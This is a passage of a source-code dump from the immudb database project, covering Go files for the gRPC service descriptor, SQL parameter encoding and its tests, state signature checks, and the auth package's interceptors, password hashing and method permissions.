_ImmuService_FlushIndex_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"CompactIndex\",\n\t\t\tHandler:    _ImmuService_CompactIndex_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"SQLExec\",\n\t\t\tHandler:    _ImmuService_SQLExec_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"UnarySQLQuery\",\n\t\t\tHandler:    _ImmuService_UnarySQLQuery_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"ListTables\",\n\t\t\tHandler:    _ImmuService_ListTables_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"DescribeTable\",\n\t\t\tHandler:    _ImmuService_DescribeTable_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"VerifiableSQLGet\",\n\t\t\tHandler:    _ImmuService_VerifiableSQLGet_Handler,\n\t\t},\n\t\t{\n\t\t\tMethodName: \"TruncateDatabase\",\n\t\t\tHandler:    _ImmuService_TruncateDatabase_Handler,\n\t\t},\n\t},\n\tStreams: []grpc.StreamDesc{\n\t\t{\n\t\t\tStreamName:    \"TxSQLQuery\",\n\t\t\tHandler:       _ImmuService_TxSQLQuery_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamGet\",\n\t\t\tHandler:       _ImmuService_StreamGet_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamSet\",\n\t\t\tHandler:       _ImmuService_StreamSet_Handler,\n\t\t\tClientStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamVerifiableGet\",\n\t\t\tHandler:       _ImmuService_StreamVerifiableGet_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamVerifiableSet\",\n\t\t\tHandler:       _ImmuService_StreamVerifiableSet_Handler,\n\t\t\tClientStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamScan\",\n\t\t\tHandler:       _ImmuService_StreamScan_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamZScan\",\n\t\t\tHandler:       _ImmuService_StreamZScan_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamHistory\",\n\t\t\tHandler:       _ImmuService_StreamHistory_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamExecAll\",\n\t\t\tHandler:       _ImmuService_StreamExecAll_Handler,\n\t\t\tClientStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"exportTx\",\n\t\t\tHandler:       _ImmuService_ExportTx_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"replicateTx\",\n\t\t\tHandler:       _ImmuService_ReplicateTx_Handler,\n\t\t\tClientStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"streamExportTx\",\n\t\t\tHandler:       _ImmuService_StreamExportTx_Handler,\n\t\t\tServerStreams: true,\n\t\t\tClientStreams: true,\n\t\t},\n\t\t{\n\t\t\tStreamName:    \"SQLQuery\",\n\t\t\tHandler:       _ImmuService_SQLQuery_Handler,\n\t\t\tServerStreams: true,\n\t\t},\n\t},\n\tMetadata: \"schema.proto\",\n}\n"
  },
  {
    "path": "pkg/api/schema/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/google/uuid\"\n)\n\nfunc EncodeParams(params map[string]interface{}) ([]*NamedParam, error) {\n\tif params == nil {\n\t\treturn nil, nil\n\t}\n\n\tnamedParams := make([]*NamedParam, len(params))\n\n\ti := 0\n\tfor n, v := range params {\n\t\tsqlVal, err := AsSQLValue(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tnamedParams[i] = &NamedParam{Name: n, Value: sqlVal}\n\t\ti++\n\t}\n\n\treturn namedParams, nil\n}\n\nfunc NamedParamsFromProto(protoParams []*NamedParam) map[string]interface{} {\n\tparams := make(map[string]interface{})\n\tfor _, p := range protoParams {\n\t\tparams[p.Name] = RawValue(p.Value)\n\t}\n\treturn params\n}\n\nfunc AsSQLValue(v interface{}) (*SQLValue, error) {\n\tif v == nil {\n\t\treturn &SQLValue{Value: &SQLValue_Null{}}, nil\n\t}\n\tswitch tv := v.(type) {\n\tcase uint:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase uint8:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase uint16:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase uint32:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase uint64:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase int:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase int8:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase int16:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase int32:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: int64(tv)}}, nil\n\t\t}\n\tcase int64:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: tv}}, nil\n\t\t}\n\tcase string:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_S{S: tv}}, nil\n\t\t}\n\tcase bool:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_B{B: tv}}, nil\n\t\t}\n\tcase []byte:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_Bs{Bs: tv}}, nil\n\t\t}\n\tcase time.Time:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_Ts{Ts: sql.TimeToInt64(tv)}}, nil\n\t\t}\n\tcase float64:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_F{F: tv}}, nil\n\t\t}\n\t}\n\treturn nil, sql.ErrInvalidValue\n}\n\nfunc TypedValueToRowValue(tv sql.TypedValue) *SQLValue {\n\tswitch tv.Type() {\n\tcase sql.IntegerType:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_N{N: tv.RawValue().(int64)}}\n\t\t}\n\tcase sql.VarcharType:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_S{S: tv.RawValue().(string)}}\n\t\t}\n\tcase sql.UUIDType:\n\t\t{\n\t\t\tu := tv.RawValue().(uuid.UUID)\n\t\t\treturn &SQLValue{Value: &SQLValue_S{S: u.String()}}\n\t\t}\n\tcase sql.BooleanType:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_B{B: tv.RawValue().(bool)}}\n\t\t}\n\tcase sql.BLOBType:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_Bs{Bs: tv.RawValue().([]byte)}}\n\t\t}\n\tcase sql.TimestampType:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}}\n\t\t}\n\tcase sql.Float64Type:\n\t\t{\n\t\t\treturn &SQLValue{Value: &SQLValue_F{F: tv.RawValue().(float64)}}\n\t\t}\n\tcase sql.JSONType:\n\t\treturn &SQLValue{Value: &SQLValue_S{S: tv.String()}}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/api/schema/sql_exec_result.go",
    "content": "package schema\n\n// LastInsertedPk returns a map in which the keys are the names of the tables and the values are the primary keys of the last inserted rows.\nfunc (er *SQLExecResult) LastInsertedPk() map[string]*SQLValue {\n\tif len(er.Txs) > 0 {\n\t\treturn er.Txs[len(er.Txs)-1].LastInsertedPKs\n\t}\n\treturn nil\n}\n\n// FirstInsertedPks returns a map in which the keys are the names of the tables and the values are the primary keys of the first inserted rows.\nfunc (er *SQLExecResult) FirstInsertedPks() map[string]*SQLValue {\n\tif len(er.Txs) > 0 {\n\t\treturn er.Txs[0].FirstInsertedPKs\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/api/schema/sql_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestEncodeParams(t *testing.T) {\n\tp, err := EncodeParams(nil)\n\trequire.NoError(t, err)\n\trequire.Nil(t, p)\n\n\tp, err = EncodeParams(map[string]interface{}{\n\t\t\"param1\": 1,\n\t})\n\trequire.NoError(t, err)\n\trequire.Len(t, p, 1)\n\trequire.Equal(t, \"param1\", p[0].Name)\n\trequire.EqualValues(t, &SQLValue{Value: &SQLValue_N{N: 1}}, p[0].Value)\n\n\tp, err = EncodeParams(map[string]interface{}{\n\t\t\"param1\": struct{}{},\n\t})\n\trequire.True(t, errors.Is(err, sql.ErrInvalidValue))\n\trequire.Nil(t, p)\n}\n\nfunc TestAsSQLValue(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn      string\n\t\tval    interface{}\n\t\tsqlVal *SQLValue\n\t\tisErr  bool\n\t}{\n\t\t{\n\t\t\t\"nil\", nil, &SQLValue{Value: &SQLValue_Null{}}, false,\n\t\t},\n\t\t{\n\t\t\t\"uint\", uint(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false,\n\t\t},\n\t\t{\n\t\t\t\"uint8\", uint8(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false,\n\t\t},\n\t\t{\n\t\t\t\"uint16\", uint16(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false,\n\t\t},\n\t\t{\n\t\t\t\"uint32\", uint32(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false,\n\t\t},\n\t\t{\n\t\t\t\"uint64\", uint64(13), &SQLValue{Value: &SQLValue_N{N: 13}}, false,\n\t\t},\n\t\t{\n\t\t\t\"int\", 11, &SQLValue{Value: &SQLValue_N{N: 11}}, false,\n\t\t},\n\t\t{\n\t\t\t\"int8\", int8(11), &SQLValue{Value: &SQLValue_N{N: 11}}, false,\n\t\t},\n\t\t{\n\t\t\t\"int16\", int16(11), &SQLValue{Value: &SQLValue_N{N: 11}}, false,\n\t\t},\n\t\t{\n\t\t\t\"int32\", int32(11), &SQLValue{Value: &SQLValue_N{N: 11}}, false,\n\t\t},\n\t\t{\n\t\t\t\"int64\", int64(12), &SQLValue{Value: &SQLValue_N{N: 12}}, false,\n\t\t},\n\t\t{\n\t\t\t\"string\", string(\"14\"), &SQLValue{Value: &SQLValue_S{S: \"14\"}}, false,\n\t\t},\n\t\t{\n\t\t\t\"bool\", true, &SQLValue{Value: &SQLValue_B{B: true}}, false,\n\t\t},\n\t\t{\n\t\t\t\"[]byte\", []byte{1, 5}, &SQLValue{Value: &SQLValue_Bs{Bs: []byte{1, 5}}}, false,\n\t\t},\n\t\t{\n\t\t\t\"struct{}\", struct{}{}, nil, true,\n\t\t},\n\t\t{\n\t\t\t\"nil\", (*string)(nil), nil, true,\n\t\t},\n\t\t{\n\t\t\t\"timestamp\", time.Date(2021, 12, 7, 14, 12, 54, 12345, time.UTC),\n\t\t\t&SQLValue{Value: &SQLValue_Ts{Ts: 1638886374000012}}, false,\n\t\t},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\tsqlVal, err := AsSQLValue(d.val)\n\t\t\trequire.EqualValues(t, d.sqlVal, sqlVal)\n\t\t\tif d.isErr {\n\t\t\t\trequire.ErrorIs(t, err, sql.ErrInvalidValue)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/api/schema/state.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport (\n\t\"crypto/ecdsa\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\n\t\"github.com/codenotary/immudb/pkg/signer\"\n)\n\nfunc (state *ImmutableState) ToBytes() []byte {\n\tb := make([]byte, 4+len(state.Db)+8+sha256.Size)\n\ti := 0\n\n\tbinary.BigEndian.PutUint32(b[i:], uint32(len(state.Db)))\n\ti += 4\n\n\tcopy(b[i:], []byte(state.Db))\n\ti += len(state.Db)\n\n\tbinary.BigEndian.PutUint64(b[i:], state.TxId)\n\ti += 8\n\n\tcopy(b[i:], state.TxHash[:])\n\n\treturn b\n}\n\n// CheckSignature\nfunc (state *ImmutableState) CheckSignature(key *ecdsa.PublicKey) error {\n\tif state.Signature == nil {\n\t\treturn errors.New(\"no signature provided\")\n\t}\n\n\treturn signer.Verify(state.ToBytes(), state.Signature.Signature, key)\n}\n"
  },
  {
    "path": "pkg/api/schema/unexpected_type.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\ntype Op_Unexpected struct {\n\tmyStruct *struct{}\n}\n\nfunc (*Op_Unexpected) isOp_Operation() {}\n"
  },
  {
    "path": "pkg/api/schema/unexpected_type_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage schema\n\nimport \"testing\"\n\nfunc Test_OpUnexpected(t *testing.T) {\n\tun := Op_Unexpected{}\n\tun.isOp_Operation()\n}\n"
  },
  {
    "path": "pkg/auth/auth.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\n// Kind the authentication kind\ntype Kind uint32\n\n// Authentication kinds\nconst (\n\tKindNone Kind = iota\n\tKindPassword\n\tKindCryptoSig\n)\n\n// TODO OGG: in the future, after other types of auth will be implemented,\n// this will have to be of Kind (see above) type instead of bool:\n\n// AuthEnabled toggles authentication on or off\nvar AuthEnabled bool\n\n// DevMode if set to true, remote client commands (except admin ones) will be accepted even if auth is off\nvar DevMode bool\n\n//IsTampered if set to true then one of the databases is tempered and the user is notified\nvar IsTampered bool\n\n// WarnDefaultAdminPassword warning user message for the case when admin uses the default password\nvar WarnDefaultAdminPassword = \"immudb user has the default password: please change it to ensure proper security\"\n"
  },
  {
    "path": "pkg/auth/auth_type.go",
    "content": "package auth\n\nimport (\n\t\"context\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\ntype AuthType int\n\nconst (\n\tTokenAuth AuthType = iota\n\tSessionAuth\n\tNone\n)\n\nfunc GetAuthTypeFromContext(ctx context.Context) AuthType {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn None\n\t}\n\tauthHeader, ok := md[\"sessionid\"]\n\tif ok && len(authHeader) >= 1 {\n\t\treturn SessionAuth\n\t}\n\tauthHeader, ok = md[\"authorization\"]\n\tif ok && len(authHeader) >= 1 {\n\t\treturn TokenAuth\n\t}\n\treturn None\n}\n"
  },
  {
    "path": "pkg/auth/clientinterceptors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\n// ClientStreamInterceptor gRPC client interceptor for streams\nfunc ClientStreamInterceptor(token string) func(context.Context, *grpc.StreamDesc, *grpc.ClientConn, string, grpc.Streamer, ...grpc.CallOption) (grpc.ClientStream, error) {\n\treturn func(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) {\n\t\tctx = updateAuthHeader(ctx, token)\n\t\treturn streamer(ctx, desc, cc, method, opts...)\n\t}\n}\n\n// ClientUnaryInterceptor gRPC client interceptor for unary methods\nfunc ClientUnaryInterceptor(token string) func(context.Context, string, interface{}, interface{}, *grpc.ClientConn, grpc.UnaryInvoker, ...grpc.CallOption) error {\n\treturn func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {\n\t\tctx = updateAuthHeader(ctx, token)\n\t\treturn invoker(ctx, method, req, reply, cc, opts...)\n\t}\n}\n\n// updateAuthHeader ensures the grpc metadata in the context contains the correct\n// authorization header value. The token may be either taken from the client\n// object where it is managed by a token service through the `token` argument,\n// or it can be given in the metadata inside the context.\nfunc updateAuthHeader(ctx context.Context, token string) context.Context {\n\tif md, ok := metadata.FromOutgoingContext(ctx); ok && len(md.Get(\"authorization\")) > 0 {\n\t\t// The token provided through the metadata has a higher priority than the\n\t\t// one set for the whole client - this allows customization of the token\n\t\t// per each API call.\n\t\ttoken = md.Get(\"authorization\")[0]\n\t}\n\n\tmd, ok := metadata.FromOutgoingContext(ctx)\n\tif !ok {\n\t\tmd = metadata.New(nil)\n\t}\n\t// The final token value must be provided with the `Bearer ` prefix.\n\tmd.Set(\"authorization\", \"Bearer \"+token)\n\treturn metadata.NewOutgoingContext(ctx, md)\n}\n"
  },
  {
    "path": "pkg/auth/clientinterceptors_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc TestClientUnaryInterceptor(t *testing.T) {\n\tf := ClientUnaryInterceptor(\"token\")\n\n\tinvoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error {\n\t\tmd, ok := metadata.FromOutgoingContext(ctx)\n\t\trequire.True(t, ok)\n\t\trequire.Equal(t, []string{\"Bearer token\"}, md.Get(\"authorization\"))\n\t\treturn nil\n\t}\n\terr := f(context.Background(), \"\", \"\", \"\", nil, invoker)\n\trequire.NoError(t, err)\n}\n\nfunc TestClientStreamInterceptor(t *testing.T) {\n\tf := ClientStreamInterceptor(\"token\")\n\tstreamer := func(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, opts ...grpc.CallOption) (grpc.ClientStream, error) {\n\t\tmd, ok := metadata.FromOutgoingContext(ctx)\n\t\trequire.True(t, ok)\n\t\trequire.Equal(t, []string{\"Bearer token\"}, md.Get(\"authorization\"))\n\t\treturn nil, nil\n\t}\n\t_, err := f(context.Background(), nil, nil, \"\", streamer)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/auth/errors.go",
    "content": "package auth\n\nimport \"github.com/codenotary/immudb/pkg/errors\"\n\nvar ErrNoAuthData = errors.New(\"no authentication data provided\").WithCode(errors.CodProtocolViolation)\nvar ErrNotLoggedIn = errors.New(\"not logged in\").WithCode(errors.CodInvalidAuthorizationSpecification)\n"
  },
  {
    "path": "pkg/auth/passwords.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\t\"unicode\"\n\n\t\"golang.org/x/crypto/bcrypt\"\n)\n\n// HashAndSaltPassword hashes and salts the provided password\nfunc HashAndSaltPassword(plainPassword []byte) ([]byte, error) {\n\thashedPasswordBytes, err := bcrypt.GenerateFromPassword(plainPassword, bcrypt.DefaultCost)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error hashing password: %v\", err)\n\t}\n\treturn hashedPasswordBytes, nil\n}\n\n// ComparePasswords compares the provided plainPassword against the provided hashed password\nfunc ComparePasswords(hashedPassword []byte, plainPassword []byte) error {\n\treturn bcrypt.CompareHashAndPassword(hashedPassword, plainPassword)\n}\n\nconst (\n\tminPasswordLen = 8\n\tmaxPasswordLen = 32\n)\n\n// PasswordRequirementsMsg message used to inform the user about password strength requirements\nvar PasswordRequirementsMsg = fmt.Sprintf(\n\t\"password must have between %d and %d letters, digits and special characters \"+\n\t\t\"of which at least 1 uppercase letter, 1 digit and 1 special character\",\n\tminPasswordLen,\n\tmaxPasswordLen,\n)\n\n// IsStrongPassword checks if the provided password meets the strength requirements\nfunc IsStrongPassword(password string) error {\n\terr := errors.New(PasswordRequirementsMsg)\n\tif len(password) < minPasswordLen || len(password) > maxPasswordLen {\n\t\treturn err\n\t}\n\tvar hasUpper bool\n\tvar hasDigit bool\n\tvar hasSpecial bool\n\tfor _, ch := range password {\n\t\tswitch {\n\t\tcase unicode.IsUpper(ch):\n\t\t\thasUpper = true\n\t\tcase unicode.IsLower(ch):\n\t\tcase unicode.IsDigit(ch):\n\t\t\thasDigit = true\n\t\tcase unicode.IsPunct(ch) || unicode.IsSymbol(ch):\n\t\t\thasSpecial = true\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\tif !hasUpper || !hasDigit || !hasSpecial {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// DecodeBase64Password decodes the provided base64-encoded password if it has the\n// \"enc:\" prefix or returns it with leading and trailing space trimmed otherwise\nfunc DecodeBase64Password(passwordBase64 string) (string, error) {\n\tpassword := strings.TrimSpace(passwordBase64)\n\tprefix := \"enc:\"\n\tif password != \"\" && strings.HasPrefix(password, prefix) {\n\t\tpasswordNoPrefix := passwordBase64[4:]\n\t\tpasswordBytes, err := base64.StdEncoding.DecodeString(passwordNoPrefix)\n\t\tif err != nil {\n\t\t\treturn passwordBase64, fmt.Errorf(\n\t\t\t\t\"error decoding password from base64 string %s: %v\", passwordNoPrefix, err)\n\t\t}\n\t\tpassword = string(passwordBytes)\n\t}\n\treturn password, nil\n}\n"
  },
  {
    "path": "pkg/auth/passwords_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nimport (\n\t\"encoding/base64\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestIsStrongPassword(t *testing.T) {\n\tweakPass := \"pass\"\n\tif err := IsStrongPassword(weakPass); err == nil {\n\t\tt.Errorf(\"IsStrongPassword failed to detect week password\")\n\t}\n\tweakPass = \"1~password\"\n\tif err := IsStrongPassword(weakPass); err == nil {\n\t\tt.Errorf(\"IsStrongPassword failed to detect week password\")\n\t}\n\tweakPass = \"1~Password\"\n\tif err := IsStrongPassword(weakPass); err != nil {\n\t\tt.Errorf(\"IsStrongPassword detected wrong week password\")\n\t}\n\tweakPass = \"1~Password\\n\"\n\tif err := IsStrongPassword(weakPass); err == nil {\n\t\tt.Errorf(\"IsStrongPassword failed to detect non allowed character\")\n\t}\n}\n\nfunc TestDecodeBase64Password(t *testing.T) {\n\tpass := \"pass\"\n\t_, err := DecodeBase64Password(pass)\n\trequire.NoError(t, err)\n\n\tpass = \"enc:\" + base64.StdEncoding.EncodeToString([]byte(\"password\"))\n\tdecodedPass, err := DecodeBase64Password(pass)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"password\", decodedPass)\n\n\t_, err = DecodeBase64Password(strings.TrimSuffix(pass, \"=\"))\n\trequire.ErrorContains(t, err, \"error decoding password from base64 string\")\n}\n"
  },
  {
    "path": "pkg/auth/permissions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage auth\n\nvar maintenanceMethods = map[string]struct{}{\n\t\"Get\":                 {},\n\t\"VerifiableGet\":       {},\n\t\"StreamGet\":           {},\n\t\"StreamVerifiableGet\": {},\n\t\"GetAll\":              {},\n\t\"ZScan\":               {},\n\t\"StreamZScan\":         {},\n\t\"VerifiableTxByID\":    {},\n\t\"IScan\":               {},\n\t\"Scan\":                {},\n\t\"StreamScan\":          {},\n\t\"History\":             {},\n\t\"StreamHistory\":       {},\n\t\"TxByID\":              {},\n\t\"TxScan\":              {},\n\t\"ExportTx\":            {},\n\t\"ReplicateTx\":         {},\n\t\"Count\":               {},\n\t\"CountAll\":            {},\n\t\"DatabaseList\":        {},\n\t\"CurrentState\":        {},\n\t\"UseSnapshot\":         {},\n\t\"SQLQuery\":            {},\n\t\"ListTables\":          {},\n\t\"DescribeTable\":       {},\n\t\"VerifiableSQLGet\":    {},\n\t\"CreateCollection\":    {},\n\t\"GetCollection\":       {},\n\t\"GetCollections\":      {},\n\t\"UpdateCollection\":    {},\n\t\"DeleteCollection\":    {},\n\t\"AddField\":            {},\n\t\"RemoveField\":         {},\n\t\"CreateIndex\":         {},\n\t\"DeleteIndex\":         {},\n\t\"InsertDocuments\":     {},\n\t\"ReplaceDocuments\":    {},\n\t\"DeleteDocuments\":     {},\n\t\"SearchDocuments\":     {},\n\t\"CountDocuments\":      {},\n\t\"AuditDocument\":       {},\n\t\"ProofDocument\":       {},\n\n\t// admin methods\n\t\"ListUsers\":    {},\n\t\"Dump\":         {},\n\t\"FlushIndex\":   {},\n\t\"CompactIndex\": {},\n}\n\n// PermissionSysAdmin the admin permission byte\nconst PermissionSysAdmin = 255\n\n// PermissionAdmin the system admin permission byte\nconst PermissionAdmin = 254\n\n// Non-admin permissions\nconst (\n\tPermissionNone = iota\n\tPermissionR\n\tPermissionRW\n)\n\nvar methodsPermissions = map[string][]uint32{\n\t// readwrite methods\n\t\"Set\":                    {PermissionSysAdmin, PermissionAdmin, PermissionRW},\n\t\"Delete\":                 {PermissionSysAdmin, 